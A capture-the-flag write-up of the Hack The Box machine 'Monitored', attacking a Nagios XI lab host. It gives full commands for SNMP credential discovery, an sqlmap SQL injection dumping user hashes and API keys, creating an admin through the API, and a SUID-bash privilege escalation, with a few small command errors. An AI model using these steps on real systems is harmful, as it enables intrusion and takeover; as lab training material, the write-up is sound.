#hackthebox #medium #linux
# Information Gathering - Nmap
As always, I started off with scanning all TCP ports and found 5 open ports.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -Pn -n --open --min-rate 3000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 00:44 UTC
Nmap scan report for 10.10.11.248
Host is up (0.054s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open ldap
443/tcp open https
5667/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds
```
Then I scanned those open TCP ports again to gather more information.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sCV -p 22,80,389,443,5667
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 00:47 UTC
Nmap scan report for 10.10.11.248
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
| 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after: 2297-08-25T21:46:55
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-title: Nagios XI
|_http-server-header: Apache/2.4.56 (Debian)
5667/tcp open tcpwrapped
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.72 seconds
```
Finally, I scanned top 10 UDP ports.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sU --top-ports 10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 00:48 UTC
Nmap scan report for 10.10.11.248
Host is up (0.046s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
123/udp open ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp open snmp
445/udp closed microsoft-ds
631/udp closed ipp
1434/udp closed ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 3.66 seconds
```
---
# Enumeration
##### HTTP - TCP 80
I mapped the IP address of the target to `nagios.monitored.htb` in `/etc/hosts` file as the domain appeared in the output of nmap scan.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ echo '10.10.11.248 nagios.monitored.htb' | sudo tee -a /etc/hosts
[sudo] password for kali:
10.10.11.248 nagios.monitored.htb
```
Then it appeared navigating to port 80 automatically redirects to port 443.
##### HTTPS - TCP 443
This is what the page on port 443 looks like.
![[Pasted image 20250811195446.png]]
Clicking on `Access Nagios XI` button takes me to `nagios.monitored.htb/nagiosxi/login.php` and it has a login form. I tried several default credentials but all of them failed.
![[Pasted image 20250811201510.png]]
I ran `gobuster` and found multiple directories but the most of them were not accessible unless authenticated but still, I was able to access some of them below.
![[Pasted image 20250811202739.png]]
On `/about` page, I was expecting to find some kind of version info of `Nagios XI` but I couldn't find it.
![[Pasted image 20250811203116.png]]
There was another login form on `/mobile`. Again, I tried some of the default credentials but all of them didn't work.
![[Pasted image 20250811203220.png]]
`/terminal` is interesting. It looked like some sort of webshell. I tried some default credentials including `root:nagiosxi`, the default credentials believed to be used for `nagios` console or SSH, but they failed again.
![[Pasted image 20250811203511.png]]
##### LDAP - TCP 389
It's my first time `LDAP` running on Linux machine. I didn't expect to find much information from ldap but I still tried enumerating information using `ldapsearch`.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ ldapsearch -x -H ldap://$IP -b "dc=monitored,dc=htb"
# extended LDIF
#
# LDAPv3
# base <dc=monitored,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# monitored.htb
dn: dc=monitored,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: monitored.htb
dc: monitored
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
```
##### SNMP - UDP 161
Since I exhausted almost every enumeration methods I could think of on the spot, I turned to UDP ports, starting from `SNMP` because UDP scan found `SNMP` opened. Even though UDP scan is not that reliable, you still have to turn every stone.
`onesixtyone` discovered `public` community string.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt $IP
Scanning 1 hosts, 3219 communities
10.10.11.248 [public] Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
10.10.11.248 [public] Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
```
Then I ran `snmp-check` with the `public` community string as the parameter and to my surprise, it returned so much information.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ snmp-check $IP -c public -v2c
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 10.10.11.248:161 using SNMPv2c and community 'public'
[*] System information:
Host IP address : 10.10.11.248
Hostname : monitored
Description : Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
Contact : Me <
[email protected]>
Location : Sitting on the Dock of the Bay
Uptime snmp : 01:15:09.44
Uptime system : 01:14:57.88
System date : 2025-8-11 21:57:15.0
[*] Network information:
...
<SNIP>
```
It also returned running processes on the target machine and this one particular process stood out to me because the process was run as `sudo` privilege with what appears to be a set of credentials as parameters. `svc:XjH7VCehowpR1xZB`
![[Pasted image 20250811210348.png]]
I tried the credentials in the login form but it still didn't work. However, I noticed the error message is different now.
![[Pasted image 20250811211138.png]]
I changed the password to something else and this time it returned the message I saw previously, so I think the credentials are valid but the account must be disabled like the message says.
![[Pasted image 20250811211300.png]]
The same request looks like this in Burp
![[Pasted image 20250811211557.png]]
I previously discovered `/api` directory with `gobuster`. I'm going to try to enumerate the path of endpoints, if any with `ffuf`.
![[Pasted image 20250811212708.png]]
I was able to enumerate some API endpoints from `ffuf`:
`Documents and Settings`, `Program Files`, `license`, and `reports list`. However, all of them did not contain any useful information.
![[Pasted image 20250811213341.png]]
I ran `feroxbuster` again but this time with `-m GET,POST` option and finally it returned something worth looking into: `/authenticate`.
![[Pasted image 20250811215611.png]]
It says I can only use `POST` method with authenticate.
![[Pasted image 20250811215827.png]]
I moved to `Burp` and changed the request method to `POST`. The server responded that I have to enter valid username and password.
![[Pasted image 20250811215941.png]]
I just manually typed in `username=svc&password=XjH7VCehowpR1xZB` and the server did return valid information including `auth_token`. Now we need to find how this token could possibly be used.
![[Pasted image 20250811220118.png]]
I found [this pdf file](https://assets.nagios.com/downloads/nagiosxi/docs/Accessing-and-Using-the-XI-REST-API.pdf) on the official `nagios` website and it explains how we can access and use the REST APIs. Let's give this a try.
![[Pasted image 20250811220804.png]]
I tried multiple times, but it returned `Invalid API key`.
![[Pasted image 20250811221209.png]]
At this point, I couldn't find a way to move forward, so I referred to `0xdf`'s writeup and he searched for `/nagiosxi/api/v1/authenticate` on Google and opened up the first link from the search, which opens up this forum below. The example contained this parameter `token`.
I'm starting to dislike this machine (-_-)
![[Pasted image 20250811223133.png]]
I followed the request written in the screenshot above in my GET request and the server returned a PNG file. WHAT DO I DO WITH THIS!! UGH!
![[Pasted image 20250811223702.png]]
I referred to `0xdf`'s writeup again. He just appended `/?token=<token_value>` to `/nagiosxi` like this: `https://nagios.monitored.htb/nagiosxi/?token=77354492a4efe16b2a66e55f57c520e0e11a0f82`
And it finally showed something useful! Now I see the version info at the bottom left corner.
![[Pasted image 20250811224122.png]]
So there's a known vulnerability to this version of `nagios`:`CVE-2023-40931`. It's vulnerable to `SQL Injection`.
![[Pasted image 20250811224440.png]]
I referred to those 2 PoC below for exploitation. The first repo explains vulnerabilities in details but I used the `sqlmap` payload listed in the second Github repo.
![[Pasted image 20250811225000.png]]
The sqlmap payload I used:
```bash
sqlmap -D nagiosxi -T xi_users -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner
_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&v
alid_min=1000" | awk -F'"' '{print$12}'`" --dump --level 4 --risk 3 -p id --batch
```
And finally `sqlmap` dumped 2 entries of `svc` and `admin`.
![[Pasted image 20250811225741.png]]
| user_id | email | name | api_key | enabled | password | username | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1 |
[email protected] | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1 | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0 | 1701931372 | 1 | 1701427555 | 0 | 1754961477 | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0 | 5 | 2 | 1701427555 |
| 2 |
[email protected] | svc | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0 | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc | 1 | 1699724476 | 1 | 1699728200 | 1699634403 | 1754965033 | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1 | 9 | 1699697433 |
The hash type appears to be `bcrypt`, so I am going to use mode 3200.
![[Pasted image 20250811230401.png]]
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ cat hashes.txt
$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C
$2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK
```
However the `hashcat` took forever to crack the hashes. This can't be it. I referred to `0xdf`'s writeup again. He found a forum post and drew `auth_level` parameter and used it to create an administrative account.
Here's my version:
```bash
curl -d "username=wook&password=wookpass&name=wook&
[email protected]&auth_level=admin&force_pw_change=0" -k 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL'
```
It successfully created my account `wook`
![[Pasted image 20250811232119.png]]
I logged out of `svc` to test my credentials.
![[Pasted image 20250811232201.png]]
I successfully logged in as `wook`. You can see my username at the top right corner.
![[Pasted image 20250811232235.png]]
Looking around the website, I found `Commands` page. I'll click on `Add New` and try to insert a reverse shell payload and see if it triggers.
![[Pasted image 20250811232535.png]]
Here's my revshell payload.
![[Pasted image 20250811232933.png]]
I applied the changes.
![[Pasted image 20250811233014.png]]
In `Hosts` tab, there was a single host named `localhost`. Clicking on it took me to the page below. There's a dropdown menu called `Check command` and at the very bottom, my revshell payload was there.
![[Pasted image 20250811233214.png]]
![[Pasted image 20250811233339.png]]
I finally got a shell as `nagios`
![[Pasted image 20250811233612.png]]
Found `user.txt` in `/home/nagios`
```bash
nagios@monitored:~$ cat user.txt
cat user.txt
e66...
```
# Privilege Escalation - to `root`
`sudo -l` command revealed a bunch of commands the current user can run as `sudo`.
```bash
nagios@monitored:~$ sudo -l
Matching Defaults entries for nagios on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nagios may run the following commands on localhost:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php
/usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NOPASSWD: /usr/bin/php
/usr/local/nagiosxi/scripts/migrate/migrate.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
```
I transferred `linpeas.sh` from my kali
![[Pasted image 20250811234629.png]]
Even though I ran `linpeas` and read through the output, I couldn't figure out how to move forward from here. The box is way beyond my level. This box has been too overwhelming for me. So I'm just going to follow `0xdf`'s writeup step-by-step. To be honest, now looking at his writeup got me thinking that I would never be able to solve this machine on my own haha.
In his writeup, he introduces 2 ways to privesc, and I'm just going to follow the first one: `overwrite and restart nagios service`.
---
`manage_service.sh` can be run as `root`. In the script, it defines two lists: first and second.
```bash
# Things you can do
first=("start" "stop" "restart" "status" "reload" "checkconfig" "enable" "disable")
second=("postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm")
```
The `first` argument is saved as `action` and the second as `service`.
```bash
action=$1
# if service name is defined in xi-sys.cfg use that name
# else use name passed
if [ "$2" != "php-fpm" ] && [ ! -z "${!2}" ];then
service=${!2}
else
service=$2
fi
```
This part of the script validates that `action` is in `first` and `service` is in `second` and then if so, runs `systemctl` or `service`
```bash
# Ubuntu / Debian
if [ "$distro" == "Debian" ] || [ "$distro" == "Ubuntu" ]; then
# Adjust the shellinabox service, no trailing 'd' in Debian/Ubuntu
if [ "$service" == "shellinaboxd" ]; then
service="shellinabox"
fi
if [ `command -v systemctl` ]; then
`which systemctl` --no-pager "$action" "$service" $args
return_code=$?
else
`which service` "$service" "$action"
return_code=$?
fi
fi
```
```bash
for service in "postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm"; do find /etc/systemd/ -name "$service.service"; done
/etc/systemd/system/multi-user.target.wants/postgresql.service /etc/systemd/system/multi-user.target.wants/nagios.service /etc/systemd/system/multi-user.target.wants/npcd.service /etc/systemd/system/npcd.service /etc/systemd/system/multi-user.target.wants/snmptt.service /etc/systemd/system/multi-user.target.wants/snmptrapd.service
```
Then he started a bash loop to check for all the services to look for dangerous permissions and there are six installed. Then `0xdf` looped those into a command that reads the service file, `grep` for any line with `exec` and then get the binary called there.
```bash
nagios@monitored:/dev/shm$ for service in "postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm"; do find /etc/systemd/ -name "$service.service"; done | while read service_file; do ls -l $(cat "$service_file" | grep Exec | cut -d= -f 2 | cut -d' ' -f 1); done | sort -u
for service in "postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm"; do find /etc/systemd/ -name "$service.service"; done | while read service_file; do ls -l $(cat "$service_file" | grep Exec | cut -d= -f 2 | cut -d' ' -f 1); done | sort -u
ls: cannot access '#': No such file or directory
-rwxrwxr-- 1 nagios nagios 717648 Nov 9 2023 /usr/local/nagios/bin/nagios
-rwxr-xr-- 1 nagios nagios 31584 Nov 9 2023 /usr/local/nagios/bin/npcd
-rwxr-xr-x 1 root root 182238 Jul 23 2020 /usr/sbin/snmptt
-rwxr-xr-x 1 root root 30952 Apr 6 2021 /bin/kill
-rwxr-xr-x 1 root root 30952 Apr 6 2021 /bin/kill
-rwxr-xr-x 1 root root 30952 Apr 6 2021 /usr/bin/kill
-rwxr-xr-x 1 root root 34840 Aug 15 2022 /usr/sbin/snmptrapd
-rwxr-xr-x 1 root root 39680 Sep 24 2020 /bin/true
-rwxr-xr-x 1 root root 43808 Sep 24 2020 /bin/sleep
-rwxr-xr-x 1 root root 72704 Sep 24 2020 /usr/bin/rm
```
We can see the top two binaries are owned by the `nagios` user.
renamed `nagios` binary to `nagios.copy`
```bash
nagios@monitored:/usr/local/nagios/bin$ mv nagios nagios.copy
```
Wrote a simple `bash` script to `/tmp/x.sh`
```bash
nagios@monitored:/tmp$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/wook\nchown root:root /tmp/wook\nchmod 6777 /tmp/wook' > x.sh
nagios@monitored:/tmp$ cat x.sh
cat x.sh
#!/bin/bash
cp /bin/bash /tmp/wook
chown root:root /tmp/wook
chmod 6777 /tmp/wook
```
Copied this shell script to `nagios` binary and set the execute permissions. Then restart the service.
```bash
nagios@monitored:/tmp$ cp cp /tmp/x.sh nagios
nagios@monitored:/tmp$ chmod +x nagios
nagios@monitored:/tmp$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart nagios
Job for nagios.service failed because the control process exited with error code.
See "systemctl status nagios.service" and "journalctl -xe" for details.
```
It fails because this is not a valid service but it still did run. Then you can run with `-p` option to not drop root privilege and you get a shell as `root`.